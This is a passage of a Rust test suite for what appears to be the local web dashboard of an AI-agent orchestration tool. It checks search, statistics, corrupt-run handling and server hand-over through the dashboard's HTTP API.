11156 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
11168 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
11169 let home = TempDir::new().expect("temp home");
11170 let runs = home.path().join("runs");
11171 std::fs::create_dir_all(&runs).expect("runs dir");
11172 let ui = Ui::new(
11173 Queue::at(home.path().join("queue")),
11174 Questions::at(home.path().join("questions")),
11175 Talks::at(home.path().join("talks")),
11176 runs,
11177 home.path().to_path_buf(),
11178 PathBuf::from("/repo/magi"),
11179 )
11180 .with_worktrees_root(home.path().join("wt"))
11181 .with_launch(launch_knocking_on_the_way_out);
11182 let looping = ui.looping();
11183 let turns = ui.turns();
11184 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11185 .await
11186 .expect("bind loopback");
11187 let addr = listener.local_addr().expect("local addr");
11188 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
11189 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
11190
11191 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
11192 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
11193
11194 let bound = std::sync::Mutex::new(None);
11209 hand_over(
11210 home.path(),
11211 &looping,
11212 &turns,
11213 &|_: &[String]| Duration::from_secs(5),
11214 served,
11215 |_| {
11216 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11217 let attempt = loop {
11218 match std::net::TcpListener::bind(addr) {
11219 Ok(l) => {
11220 drop(l);
11221 break Ok(());
11222 }
11223 Err(e)
11224 if e.kind() == std::io::ErrorKind::AddrInUse
11225 && std::time::Instant::now() < deadline =>
11226 {
11227 std::thread::sleep(std::time::Duration::from_millis(10));
11228 }
11229 Err(e) => break Err(e.to_string()),
11230 }
11231 };
11232 *bound.lock().expect("bound") = Some(attempt);
11233 Ok(1)
11234 },
11235 )
11236 .await
11237 .expect("hand over");
11238
11239 assert_eq!(
11240 *PARK_HEARD.lock().expect("park heard"),
11241 Some(200),
11242 "the deck must answer while the loop is parking"
11243 );
11244 let attempt = bound
11245 .lock()
11246 .expect("bound")
11247 .take()
11248 .expect("the successor was started");
11249 assert!(
11250 attempt.is_ok(),
11251 "and the address must be free by the time it is: {attempt:?}"
11252 );
11253 }
11254
11255 #[tokio::test]
11256 async fn a_newer_daemon_status_file_still_renders() {
11257 let f = Fixture::start().await;
11258 std::fs::write(
11261 f.home.path().join("daemon.json"),
11262 serde_json::json!({
11263 "schema": 2,
11264 "updated_at": Timestamp::now().to_string(),
11265 "idle": true,
11266 "surprise": { "nested": [1, 2, 3] },
11267 })
11268 .to_string(),
11269 )
11270 .expect("write daemon.json");
11271
11272 let health = f.get("/api/health").await;
11273
11274 assert_eq!(health.status, 200);
11275 assert_eq!(health.json()["daemon"]["running"], true);
11276 }
11277
11278 #[tokio::test]
11279 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11280 let f = Fixture::start().await;
11281 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11282 let broken = f.runs().join("20260902-140502-bad");
11283 std::fs::create_dir_all(&broken).expect("run dir");
11284 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11285
11286 let list = f.get("/api/runs").await;
11287 let detail = f.get("/api/runs/20260902-140502-bad").await;
11288
11289 assert_eq!(list.status, 200);
11290 let listed = list.json();
11291 let ids: Vec<&str> = listed
11292 .as_array()
11293 .expect("an array")
11294 .iter()
11295 .map(|r| r["id"].as_str().expect("an id"))
11296 .collect();
11297 assert_eq!(
11298 ids,
11299 vec!["20260902-140501-good"],
11300 "one unreadable run must not cost the operator the whole history"
11301 );
11302 assert_eq!(detail.status, 500);
11303 assert!(
11304 detail.json()["error"]
11305 .as_str()
11306 .is_some_and(|e| e.contains("run.json")),
11307 "the failure names the file to look at: {}",
11308 detail.body
11309 );
11310 let health = f.get("/api/health").await;
11314 assert_eq!(health.json()["runs_unreadable"], 1);
11315 }
11316
11317 #[tokio::test]
11319 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11320 let f = Fixture::start().await;
11321 let runs = f.runs();
11322 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11323 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11324 let path = runs.join("20260902-140502-bbbb").join("run.json");
11327 let mut v: serde_json::Value =
11328 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11329 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11330 std::fs::write(&path, v.to_string()).unwrap();
11331 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11332 std::fs::write(
11333 runs.join("20260902-140503-cccc").join("run.json"),
11334 "{ not json",
11335 )
11336 .unwrap();
11337
11338 let res = f.get("/api/search?scope=runs&q=quokka").await;
11339 assert_eq!(res.status, 200, "{}", res.body);
11340 let v = res.json();
11341 assert_eq!(v["total"], 1, "{v}");
11342 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11343 assert_eq!(v["hits"][0]["field"], "text");
11344 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
11345 let parts = v["hits"][0]["snippet"].as_array().unwrap();
11346 assert!(
11347 parts
11348 .iter()
11349 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
11350 "{v}"
11351 );
11352 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
11353 assert_eq!(
11354 flat, "The Quokka leaks across threads",
11355 "whitespace is collapsed"
11356 );
11357
11358 let both = f
11360 .get("/api/search?scope=runs&q=MOBILE%20quokka")
11361 .await
11362 .json();
11363 assert_eq!(both["total"], 1, "{both}");
11364 let neither = f
11365 .get("/api/search?scope=runs&q=quokka%20zebra")
11366 .await
11367 .json();
11368 assert_eq!(neither["total"], 0, "{neither}");
11369 let stmt = f
11371 .get("/api/search?scope=runs&q=mobile%20first")
11372 .await
11373 .json();
11374 assert_eq!(stmt["total"], 2, "{stmt}");
11375 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
11376 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
11377 }
11378
11379 #[test]
11380 fn snippet_ignores_terms_longer_than_the_field() {
11381 let terms = ["ok".to_owned(), "elephant".to_owned()];
11382 let parts = snippet_of("ok", &terms);
11383 assert_eq!(
11384 parts,
11385 vec![SnippetPart {
11386 text: "ok".to_owned(),
11387 hit: true
11388 }]
11389 );
11390 }
11391
11392 #[test]
11393 fn snippet_marks_matches_longer_than_the_window() {
11394 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
11395 let hit_len = |parts: &[SnippetPart]| -> usize {
11396 parts
11397 .iter()
11398 .filter(|p| p.hit)
11399 .map(|p| p.text.chars().count())
11400 .sum()
11401 };
11402 let total =
11403 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
11404
11405 let long = "a".repeat(120);
11406 let parts = snippet_of(&long, std::slice::from_ref(&long));
11407 assert!(hit_len(&parts) > 0, "{parts:?}");
11408 assert!(total(&parts) <= cap);
11409
11410 let ja = "あ".repeat(130);
11411 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
11412 assert!(hit_len(&parts) > 0, "{parts:?}");
11413 assert!(total(&parts) <= cap);
11414
11415 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
11417 let term = format!("ab{}", "c".repeat(100));
11418 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
11419 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
11420 assert!(total(&parts) <= cap);
11421
11422 let text = format!("{}z", "a".repeat(119));
11424 let parts = snippet_of(&text, &["a".repeat(120)]);
11425 assert_eq!(hit_len(&parts), 0, "{parts:?}");
11426 }
11427
11428 #[tokio::test]
11429 async fn search_caps_hits_and_snippet_length() {
11430 let f = Fixture::start().await;
11431 let runs = f.runs();
11432 for n in 0..(SEARCH_MAX_HITS + 5) {
11433 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
11434 }
11435 let v = f.get("/api/search?scope=runs&q=web").await.json();
11436 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
11437 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
11438 assert_eq!(v["truncated"], true);
11439 assert!(
11441 v["hits"]
11442 .as_array()
11443 .unwrap()
11444 .iter()
11445 .all(|h| h["run"]["status"] == "merged")
11446 );
11447
11448 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
11449 let parts = snippet_of(&long, &["needle".to_owned()]);
11450 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
11451 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
11452 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
11453 }
11454
11455 #[tokio::test]
11456 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
11457 let f = Fixture::start().await;
11458 let queue = f.queue();
11459 let mut t = Task::new(
11460 "short title".to_owned(),
11461 "line one\nthe hidden Armadillo detail".to_owned(),
11462 PathBuf::from("/repo/magi"),
11463 Source::Agent {
11464 run: "r1".to_owned(),
11465 node: "chat".to_owned(),
11466 },
11467 );
11468 t.last_error = Some("disk full on /tmp".to_owned());
11469 queue.put(&mut t).expect("file the task");
11470
11471 for (q, want) in [
11472 ("armadillo", 1),
11473 ("disk%20FULL", 1),
11474 ("chat", 1),
11475 ("queued", 1),
11476 ("short%20nothing", 0),
11477 ] {
11478 let v = f
11479 .get(&format!("/api/search?scope=tasks&q={q}"))
11480 .await
11481 .json();
11482 assert_eq!(v["total"], want, "{q}: {v}");
11483 }
11484 for bad in [
11485 "/api/search?scope=tasks&q=",
11486 "/api/search?scope=tasks&q=%20",
11487 "/api/search?scope=chats&q=",
11488 "/api/search?scope=chats&q=%20",
11489 "/api/search?scope=nope&q=a",
11490 "/api/search?q=a",
11491 ] {
11492 assert_eq!(f.get(bad).await.status, 400, "{bad}");
11493 }
11494 }
11495
11496 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
11498 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
11499 .expect("seat value");
11500 let turns: Vec<serde_json::Value> = turns
11501 .iter()
11502 .map(|(who, body)| {
11503 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
11504 })
11505 .collect();
11506 let doc = serde_json::json!({
11507 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
11508 "status": status, "turns": turns,
11509 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
11510 "seat": seat,
11511 });
11512 let dir = f.home.path().join("talks");
11513 std::fs::create_dir_all(&dir).expect("talks dir");
11514 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
11515 }
11516
11517 #[tokio::test]
11518 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
11519 let f = Fixture::start().await;
11520 write_talk(
11521 &f,
11522 "20260901-000001-aaaa",
11523 "open",
11524 &[
11525 (
11526 "operator",
11527 "\n Why does the Pangolin cache expire?\nsecond line",
11528 ),
11529 ("agent", "Because the TTL is thirty seconds."),
11530 ],
11531 );
11532 write_talk(
11533 &f,
11534 "20260901-000002-bbbb",
11535 "closed",
11536 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
11537 );
11538 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
11539
11540 let search = |q: &'static str| {
11541 let f = &f;
11542 async move {
11543 f.get(&format!("/api/search?scope=chats&q={q}"))
11544 .await
11545 .json()
11546 }
11547 };
11548
11549 let v = search("PANGOLIN").await;
11550 assert_eq!(v["scope"], "chats");
11551 assert_eq!(v["total"], 1, "{v}");
11552 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
11553 assert_eq!(v["hits"][0]["field"], "title");
11554 assert_eq!(v["unreadable"], 1, "{v}");
11555 let marked: Vec<&str> = v["hits"][0]["snippet"]
11556 .as_array()
11557 .unwrap()
11558 .iter()
11559 .filter(|p| p["hit"] == true)
11560 .map(|p| p["text"].as_str().unwrap())
11561 .collect();
11562 assert_eq!(marked, ["Pangolin"]);
11563
11564 let v = search("zebra").await;
11566 assert_eq!(v["total"], 1, "{v}");
11567 assert_eq!(v["hits"][0]["field"], "agent");
11568 assert_eq!(search("pangolin%20thirty").await["total"], 1);
11570 assert_eq!(search("pangolin%20zebra").await["total"], 0);
11571 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
11573 assert_eq!(search(q).await["total"], 0, "{q}");
11574 }
11575 assert_eq!(search("second").await["hits"][0]["field"], "operator");
11577 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
11579
11580 let v = f.get("/api/search?scope=nope&q=a").await;
11581 assert_eq!(v.status, 400);
11582 assert!(
11583 v.body.contains("scope must be runs, tasks or chats"),
11584 "{}",
11585 v.body
11586 );
11587 }
11588
11589 #[test]
11590 fn a_question_card_links_a_task_id_to_the_task_page() {
11591 let start = APP_JS
11592 .find("function updateAskCard(")
11593 .expect("updateAskCard exists");
11594 let body = &APP_JS[start..];
11595 let body = &body[..body.find("\n}\n").expect("function end")];
11596 assert!(body.contains("question.run_is_task"));
11597 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
11598 assert!(body.contains("`#/runs/${question.run}`"));
11599 assert!(body.contains("\"task\" : \"run\""));
11600 }
11601
11602 #[test]
11603 fn stats_bars_share_one_id_keyed_plan() {
11604 let start = APP_JS
11605 .find("function statsBarRows(")
11606 .expect("statsBarRows exists");
11607 let body = &APP_JS[start..];
11608 let body = &body[..body.find("\n}\n").expect("function end")];
11609 assert!(body.contains("statsBarPlan(rows)"));
11610 assert!(body.contains("statsAgentTone(row.agent)"));
11611 assert!(!body.contains("candTone(i)"));
11612 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
11613 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
11614 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
11615 }
11616 }
11617
11618 #[test]
11619 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
11620 let start = APP_JS
11621 .find("function renderStatsReviewerScatter(")
11622 .expect("renderStatsReviewerScatter exists");
11623 let body = &APP_JS[start..];
11624 let body = &body[..body.find("\n}\n").expect("function end")];
11625 assert!(body.contains("statsScatterPlan(reviewers)"));
11626 assert!(body.contains("statsAgentTone(d.agent)"));
11627 assert!(APP_JS.contains("function statsScatterPlan("));
11628 assert!(
11629 APP_JS.contains("d.submitted < STATS_LOW_N")
11630 || APP_JS.contains("r.submitted < STATS_LOW_N")
11631 );
11632 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
11633 assert!(APP_CSS.contains(".precision-scatter"));
11634 }
11635
11636 #[test]
11637 fn advisor_reflection_is_drawn_as_stacked_segments() {
11638 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
11639 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
11640 let html = include_str!("../assets/ui/index.html");
11641 assert!(html.contains("Approximate"));
11642 for label in ["reflected strongly", "faint", "no proposal"] {
11643 assert!(html.contains(label));
11644 }
11645 let css = include_str!("../assets/ui/app.css");
11646 for c in ["refl-strong", "refl-faint", "refl-absent"] {
11647 assert!(css.contains(&format!(".{c} {{")));
11648 }
11649 }
11650
11651 #[test]
11652 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
11653 assert!(APP_JS.contains("function statsDailyPlan("));
11654 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
11655 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
11656 }
11657
11658 #[test]
11659 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
11660 let start = APP_JS
11661 .find("function scheduleSearch(")
11662 .expect("scheduleSearch exists");
11663 let body = &APP_JS[start..];
11664 let body = &body[..body.find("\n}\n").expect("function end")];
11665 assert!(body.contains("s.seq += 1"));
11666 }
11667
11668 #[tokio::test]
11673 async fn stats_runs_unreadable_matches_health() {
11674 let f = Fixture::start().await;
11675 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11676 let broken = f.runs().join("20260902-140502-bad");
11677 std::fs::create_dir_all(&broken).expect("run dir");
11678 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11679
11680 let stats = f.get("/api/stats").await;
11681 let health = f.get("/api/health").await;
11682
11683 assert_eq!(stats.status, 200);
11684 assert_eq!(stats.json()["totals"]["runs"], 1);
11685 assert_eq!(stats.json()["runs_unreadable"], 1);
11686 assert_eq!(
11687 stats.json()["runs_unreadable"],
11688 health.json()["runs_unreadable"],
11689 "the dashboard and /api/health must never disagree about how many \
11690 runs could not be read"
11691 );
11692 }
11693
11694 #[tokio::test]
11695 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
11696 let f = Fixture::start().await;
11697 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11698 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
11699 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
11700
11701 let totals = &f.get("/api/stats").await.json()["totals"];
11702 assert_eq!(totals["runs"], 3);
11703 assert_eq!(totals["merged"], 1);
11704 assert_eq!(totals["stalled"], 1);
11705 assert_eq!(totals["in_progress"], 1);
11706 assert_eq!(totals["blocked"], 0);
11709 assert_eq!(totals["ready"], 0);
11710 }
11711
11712 #[tokio::test]
11713 async fn stats_advisors_report_proposals_and_reflection() {
11714 use crate::advise::{Advice, AdvisorRecord, Reflection};
11715 use crate::verdict::Proposal;
11716
11717 let f = Fixture::start().await;
11718 let mut state = RunState::new(
11719 PathBuf::from("/repo/magi"),
11720 "main".to_owned(),
11721 "0123456789abcdef".to_owned(),
11722 "task".to_owned(),
11723 Config::default(),
11724 );
11725 state.id = "20260902-140501-a".to_owned();
11726 state.status = RunStatus::Merged;
11727 state.advice = Some(Advice {
11728 records: vec![
11729 AdvisorRecord {
11730 seat: "advisor-1".to_owned(),
11731 agent: "alpha".to_owned(),
11732 proposal: Some(Proposal {
11733 approach: "do it".to_owned(),
11734 key_tradeoff: "speed over memory".to_owned(),
11735 risks: Vec::new(),
11736 touches: Vec::new(),
11737 why_not_naive: "breaks under load".to_owned(),
11738 }),
11739 error: None,
11740 duration_ms: 0,
11741 reflection: Reflection::Strong,
11742 },
11743 AdvisorRecord {
11744 seat: "advisor-2".to_owned(),
11745 agent: "alpha".to_owned(),
11746 proposal: None,
11747 error: Some("timed out".to_owned()),
11748 duration_ms: 0,
11749 reflection: Reflection::Absent,
11750 },
11751 ],
11752 synthesis: Some("blended brief".to_owned()),
11753 });
11754 let dir = f.runs().join(&state.id);
11755 std::fs::create_dir_all(&dir).expect("run dir");
11756 std::fs::write(
11757 dir.join("run.json"),
11758 serde_json::to_string_pretty(&state).expect("serialize run"),
11759 )
11760 .expect("write run.json");
11761
11762 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
11764 let alpha = advisors
11765 .as_array()
11766 .expect("an array")
11767 .iter()
11768 .find(|a| a["agent"] == "alpha")
11769 .expect("alpha row");
11770 assert_eq!(alpha["seated"], 2);
11771 assert_eq!(alpha["proposed"], 1);
11772 assert_eq!(alpha["absent"], 1);
11773 assert_eq!(alpha["strong"], 1);
11774 assert_eq!(alpha["faint"], 0);
11775 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
11776 }
11777
11778 #[tokio::test]
11779 async fn stats_hides_agents_outside_the_roster_unless_all() {
11780 use crate::run::Candidate;
11781 let repo = TempDir::new().expect("repo dir");
11782 std::fs::write(
11783 repo.path().join("magi.toml"),
11784 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
11785 )
11786 .expect("magi.toml");
11787 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
11788 let mut state = RunState::new(
11789 PathBuf::from("/repo/magi"),
11790 "main".to_owned(),
11791 "0123456789abcdef".to_owned(),
11792 "task".to_owned(),
11793 Config::default(),
11794 );
11795 state.id = "20260902-140501-a".to_owned();
11796 state.status = RunStatus::Merged;
11797 for (label, agent) in [('A', "keep"), ('B', "retired")] {
11798 let mut c: Candidate = serde_json::from_value(serde_json::json!({
11799 "index": 0, "label": label.to_string(), "agent": agent,
11800 "branch": "b", "worktree": "/w",
11801 }))
11802 .expect("candidate");
11803 c.label = label;
11804 state.candidates.push(c);
11805 }
11806 let dir = f.runs().join(&state.id);
11807 std::fs::create_dir_all(&dir).expect("run dir");
11808 std::fs::write(
11809 dir.join("run.json"),
11810 serde_json::to_string_pretty(&state).expect("serialize run"),
11811 )
11812 .expect("write run.json");
11813
11814 let agents_of = |v: &serde_json::Value| -> Vec<String> {
11815 v["agents"]
11816 .as_array()
11817 .expect("array")
11818 .iter()
11819 .map(|a| a["agent"].as_str().unwrap().to_owned())
11820 .collect()
11821 };
11822 let hidden = f.get("/api/stats").await.json();
11823 assert_eq!(agents_of(&hidden), ["keep"]);
11824 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
11825 assert_eq!(hidden["totals"]["runs"], 1);
11826
11827 let all = f.get("/api/stats?all=true").await.json();
11828 assert_eq!(agents_of(&all).len(), 2);
11829 assert_eq!(all["retired_hidden"], serde_json::json!([]));
11830 }
11831
11832 #[tokio::test]
11833 async fn stats_release_bumps_split_clean_from_attention() {
11834 use crate::run::ReleaseBump;
11835
11836 let f = Fixture::start().await;
11837
11838 let mut clean = RunState::new(
11839 PathBuf::from("/repo/magi"),
11840 "main".to_owned(),
11841 "0123456789abcdef".to_owned(),
11842 "task".to_owned(),
11843 Config::default(),
11844 );
11845 clean.id = "20260902-140501-a".to_owned();
11846 clean.status = RunStatus::Merged;
11847 clean.release_bump = Some(ReleaseBump {
11848 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
11849 version: Some("1.0.0".to_owned()),
11850 automerge_enabled: true,
11851 merged_directly: false,
11852 local: false,
11853 release: None,
11854 problem: None,
11855 action_required: None,
11856 });
11857
11858 let mut blocked = RunState::new(
11859 PathBuf::from("/repo/magi"),
11860 "main".to_owned(),
11861 "0123456789abcdef".to_owned(),
11862 "task".to_owned(),
11863 Config::default(),
11864 );
11865 blocked.id = "20260902-140502-b".to_owned();
11866 blocked.status = RunStatus::Merged;
11867 blocked.release_bump = Some(ReleaseBump {
11868 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
11869 version: Some("1.0.1".to_owned()),
11870 automerge_enabled: false,
11871 merged_directly: false,
11872 local: false,
11873 release: None,
11874 problem: Some("checks red".to_owned()),
11875 action_required: Some("look at the PR".to_owned()),
11876 });
11877
11878 for state in [&clean, &blocked] {
11879 let dir = f.runs().join(&state.id);
11880 std::fs::create_dir_all(&dir).expect("run dir");
11881 std::fs::write(
11882 dir.join("run.json"),
11883 serde_json::to_string_pretty(state).expect("serialize run"),
11884 )
11885 .expect("write run.json");
11886 }
11887
11888 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11889 assert_eq!(bumps["merged"], 2);
11890 assert_eq!(bumps["recorded"], 2);
11891 assert_eq!(bumps["pr_opened"], 2);
11892 assert_eq!(bumps["automerge_enabled"], 1);
11893 assert_eq!(bumps["needs_attention"], 1);
11894 assert_eq!(bumps["clean"], 1);
11895 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
11896 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
11897 }
11898
11899 #[tokio::test]
11900 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
11901 let f = Fixture::start().await;
11902 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
11903
11904 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
11905 assert_eq!(bumps["merged"], 1);
11906 assert_eq!(bumps["recorded"], 0);
11907 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
11910 assert_eq!(bumps["automerge_rate"], Value::Null);
11913 assert_eq!(bumps["attention_rate"], Value::Null);
11914 }
11915
11916 #[tokio::test]
11917 async fn stats_queue_counts_come_from_the_live_queue() {
11918 let f = Fixture::start().await;
11919 let q = f.queue();
11920 let mut queued = Task::new(
11921 "queued task".to_owned(),
11922 "do it".to_owned(),
11923 PathBuf::from("/repo"),
11924 Source::Human,
11925 );
11926 q.put(&mut queued).expect("put queued");
11927 let mut held = Task::new(
11928 "held task".to_owned(),
11929 "do it later".to_owned(),
11930 PathBuf::from("/repo"),
11931 Source::Human,
11932 );
11933 held.hold_machine(Some("out of attempts".to_owned()));
11934 q.put(&mut held).expect("put held");
11935
11936 let queue = f.get("/api/stats").await.json()["queue"].clone();
11937 assert_eq!(queue["queued"], 1);
11938 assert_eq!(queue["held"], 1);
11939 assert_eq!(queue["running"], 0);
11940 assert_eq!(queue["done"], 0);
11941 assert_eq!(queue["failed"], 0);
11942 assert_eq!(queue["blocked"], 0);
11943 }
11944
11945 #[tokio::test]
11946 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
11947 let f = Fixture::start().await;
11948 let stats = f.get("/api/stats").await;
11949 assert_eq!(stats.status, 200);
11950 assert_eq!(stats.json()["totals"]["runs"], 0);
11951 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
11952 assert_eq!(stats.json()["runs_unreadable"], 0);
11953 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
11954 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
11955 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
11956 assert_eq!(stats.json()["repo"], Value::Null);
11957 }
11958
11959 #[tokio::test]
11960 async fn stats_lists_every_repository_with_runs_recorded() {
11961 let f = Fixture::start().await;
11962 write_run_repo(
11963 &f.runs(),
11964 "20260902-140501-a",
11965 RunStatus::Merged,
11966 "/repos/a",
11967 );
11968 write_run_repo(
11969 &f.runs(),
11970 "20260902-140502-b",
11971 RunStatus::Merged,
11972 "/repos/a",
11973 );
11974 write_run_repo(
11975 &f.runs(),
11976 "20260902-140503-c",
11977 RunStatus::Blocked,
11978 "/repos/b",
11979 );
11980
11981 let stats = f.get("/api/stats").await;
11982 assert_eq!(stats.status, 200);
11983 assert_eq!(stats.json()["totals"]["runs"], 3);
11985 assert_eq!(stats.json()["repo"], Value::Null);
11986
11987 let repos = stats.json()["repos"].clone();
11988 let repos = repos.as_array().unwrap();
11989 assert_eq!(repos.len(), 2);
11990 assert_eq!(repos[0]["repo"], "/repos/a");
11992 assert_eq!(repos[0]["name"], "a");
11993 assert_eq!(repos[0]["runs"], 2);
11994 assert_eq!(repos[1]["repo"], "/repos/b");
11995 assert_eq!(repos[1]["runs"], 1);
11996 }
11997
11998 #[tokio::test]
11999 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
12000 let f = Fixture::start().await;
12001 write_run_repo(
12002 &f.runs(),
12003 "20260902-140501-a",
12004 RunStatus::Merged,
12005 "/repos/a",
12006 );
12007 write_run_repo(
12008 &f.runs(),
12009 "20260902-140502-b",
12010 RunStatus::Blocked,
12011 "/repos/b",
12012 );
12013
12014 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12015 assert_eq!(stats.status, 200);
12016 assert_eq!(stats.json()["totals"]["runs"], 1);
12017 assert_eq!(stats.json()["totals"]["merged"], 1);
12018 assert_eq!(stats.json()["repo"], "/repos/a");
12019 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12022 assert_eq!(stats.json()["runs_unreadable"], 0);
12025 }
12026
12027 #[tokio::test]
12028 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12029 let f = Fixture::start().await;
12030 write_run_repo(
12031 &f.runs(),
12032 "20260902-140501-a",
12033 RunStatus::Merged,
12034 "/repos/a",
12035 );
12036 write_run_repo(
12037 &f.runs(),
12038 "20260902-140502-b",
12039 RunStatus::Merged,
12040 "/repos/b",
12041 );
12042
12043 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12044 let json = f.get(uri).await.json();
12045 let daily = json["daily"].as_array().expect("daily is an array");
12046 assert_eq!(daily.len(), 30);
12047 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12048 let mut sorted = dates.clone();
12049 sorted.sort();
12050 assert_eq!(dates, sorted);
12051 for d in daily {
12052 assert_eq!(
12053 d["merged"].as_u64().unwrap()
12054 + d["ready"].as_u64().unwrap()
12055 + d["other"].as_u64().unwrap(),
12056 d["runs"].as_u64().unwrap()
12057 );
12058 }
12059 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12060 }
12061 }
12062
12063 #[tokio::test]
12064 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12065 let f = Fixture::start().await;
12066 write_run_repo(
12067 &f.runs(),
12068 "20260902-140501-a",
12069 RunStatus::Merged,
12070 "/repos/a",
12071 );
12072
12073 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12074 assert_eq!(stats.status, 404);
12075 }
12076
12077 #[tokio::test]
12078 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12079 let f = Fixture::start().await;
12080 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12081
12082 let summary = f.get("/api/runs").await.json();
12083 let row = &summary[0];
12084 assert_eq!(row["short"], "a1b2");
12085 assert_eq!(row["status"], "ready");
12086 assert_eq!(row["done"], true);
12087 assert_eq!(row["title"], "Add a web UI");
12088 assert_eq!(row["repo_name"], "magi");
12089 assert_eq!(row["judges"], 3);
12090 assert_eq!(row["winner"], Value::Null);
12091 assert_eq!(row["reviews"], 0);
12092
12093 let detail = f.get("/api/runs/a1b2").await;
12096 assert_eq!(detail.status, 200);
